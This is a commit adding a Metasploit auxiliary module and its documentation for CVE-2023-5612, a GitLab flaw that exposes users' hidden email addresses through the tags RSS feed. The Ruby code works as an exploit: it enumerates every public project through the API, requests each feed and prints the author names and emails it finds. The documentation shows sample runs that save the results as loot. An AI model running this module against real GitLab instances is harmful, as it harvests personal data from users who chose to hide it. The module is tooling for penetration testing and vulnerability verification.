Land #18821, Gitlab public email disclosure CVE-2023-5612
This commit is contained in:
commit
e20558ec35
|
@ -0,0 +1,72 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Information disclosure affecting all versions of GitLab
|
||||
before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1
|
||||
by sending a GET request to the project URI and appending "-/tags"
|
||||
|
||||
### Docker installation instructions can be found here:
|
||||
|
||||
https://docs.gitlab.com/ee/install/docker.html
|
||||
|
||||
Once installed, create a project. Once the project is
|
||||
created, add a new tag by expanding the Code menu item
|
||||
on the left, then selecting Tags. Then click on the
|
||||
New Tag button in the top right corner.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use [module path]`
|
||||
1. Do: `set RHOSTS [IP]`
|
||||
1. Do: `run`
|
||||
1. You should receive output with user names and email addresses assocaited with project tags
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETPROJECT
|
||||
|
||||
This will gather information for ALL PUBLICLY ACCESSIBLE PROJECTS. IF you know the specific project you would
|
||||
like to target, you would need to set that here.
|
||||
|
||||
## Scenarios
|
||||
### Scrape all Workspaces/Projects
|
||||
```
|
||||
msf6 > use auxiliary/gather/gitlab_tags_rss_info_disclosure
|
||||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[+] [2024.02.09-11:18:23] Scraping ALL projects...
|
||||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: Workspace1/Project1
|
||||
[+] [2024.02.09-11:18:23] Output saved to /root/.msf4/loot/20240209111823_default_127.0.0.1_gitlab.RSS.info__010524.xml
|
||||
[+] [2024.02.09-11:18:23] name: john doe
|
||||
[+] [2024.02.09-11:18:23] e-mail: johndoe@example.com
|
||||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: Workspace1/Project2
|
||||
[+] [2024.02.09-11:18:23] Output saved to /root/.msf4/loot/20240209111823_default_127.0.0.1_gitlab.RSS.info__822263.xml
|
||||
[+] [2024.02.09-11:18:23] name: janedoe
|
||||
[+] [2024.02.09-11:18:23] e-mail: janedoe@example.com
|
||||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws2/proj1
|
||||
[-] [2024.02.09-11:18:23] No tags or authors found
|
||||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws3/proj1
|
||||
[-] [2024.02.09-11:18:23] No tags or authors found
|
||||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws3/proj2
|
||||
[-] [2024.02.09-11:18:23] No tags or authors found
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
### Specify Project
|
||||
```
|
||||
msf6 > use auxiliary/gather/gitlab_tags_rss_info_disclosure
|
||||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1
|
||||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set TARGETPROJECT Workspace1/Project1
|
||||
TARGETPROJECT => Workspace1/Project1
|
||||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] [2024.02.09-11:44:43] Check RSS tags feed for: Workspace1/Project1
|
||||
[+] [2024.02.09-11:44:43] Output saved to /root/.msf4/loot/20240209114443_default_127.0.0.1_gitlab.RSS.info__390983.xml
|
||||
[+] [2024.02.09-11:44:43] name: janedoe
|
||||
[+] [2024.02.09-11:44:43] e-mail: janedoe@example.com
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,127 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'GitLab Tags RSS feed email disclosure',
|
||||
'Description' => %q{
|
||||
An issue has been discovered in GitLab affecting all versions
|
||||
before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1.
|
||||
It is possible to read the user email address via tags feed
|
||||
although the visibility in the user profile has been disabled.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'n00bhaxor', # msf module
|
||||
'erruquill' # HackerOne Bug Bounty, analysis
|
||||
],
|
||||
'References' => [
|
||||
[ 'URL', 'https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/' ],
|
||||
[ 'URL', 'https://hackerone.com/reports/2208790'],
|
||||
[ 'CVE', '2023-5612']
|
||||
],
|
||||
'DisclosureDate' => '2024-01-25',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI', [ true, 'The URI of the GitLab Application', '/']),
|
||||
OptString.new('TARGETPROJECT', [ false, 'Workspace and project to target', nil])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def get_contents(tags)
|
||||
vprint_status('Check RSS tags feed for: ' + tags)
|
||||
|
||||
# Tag needs to be lower case, so...
|
||||
tags.sub!(%r{^/}, '') if tags.start_with?('/')
|
||||
tags = "#{tags.split('/')[0]}/#{tags.split('/')[1].downcase}"
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, tags, '-', 'tags'),
|
||||
'method' => 'GET',
|
||||
'vars_get' => { 'format' => 'atom' }
|
||||
)
|
||||
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
|
||||
if res.code == 200
|
||||
xml_res = res.get_xml_document
|
||||
|
||||
# If we receive a 301 it's probably an issue with workspace case-insensitivty
|
||||
elsif res.code == 301 && res['location']
|
||||
new_uri = URI.parse(res['location']).path
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(new_uri.to_s),
|
||||
'method' => 'GET', 'vars_get' => { 'format' => 'atom' }
|
||||
)
|
||||
xml_res = res.get_xml_document
|
||||
|
||||
# Error out with an unreachable or any other error code
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Project does not exist or is not public (response code: #{res.code})")
|
||||
end
|
||||
|
||||
# Check to see if there are any tags with authors
|
||||
author_element = 'author'
|
||||
not_found = xml_res.xpath("//xmlns:#{author_element}").empty?
|
||||
if not_found
|
||||
vprint_bad('No tags or authors found')
|
||||
return
|
||||
end
|
||||
|
||||
# Initialze an empty set so we can dedupe authors based on email address
|
||||
# This only dedupes within a project, not the entirety of Gitlab,
|
||||
# so forks of projects may show duplicate email addresses.
|
||||
unique_emails = Set.new
|
||||
|
||||
xml_res.xpath('//xmlns:author').each do |authors|
|
||||
email = authors.at_xpath('xmlns:email').text
|
||||
next if unique_emails.include?(email)
|
||||
|
||||
name = authors.at_xpath('xmlns:name').text
|
||||
print_good("name: #{name}")
|
||||
print_good("e-mail: #{email}")
|
||||
unique_emails << email
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
unless datastore['TARGETPROJECT'].blank?
|
||||
get_contents(datastore['TARGETPROJECT'].to_s)
|
||||
return
|
||||
end
|
||||
|
||||
print_good('Scraping ALL projects...')
|
||||
request = {
|
||||
'uri' => normalize_uri(target_uri.path, '/api/v4/projects'),
|
||||
'method' => 'GET', 'vars_get' => {
|
||||
'output_mode' => 'json'
|
||||
}
|
||||
}
|
||||
|
||||
res = send_request_cgi(request)
|
||||
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Project list API endpoint unavailable (response code: #{res.code})") unless res.code == 200
|
||||
|
||||
res.get_json_document.each do |entry|
|
||||
tags = entry['path_with_namespace']
|
||||
get_contents(tags)
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue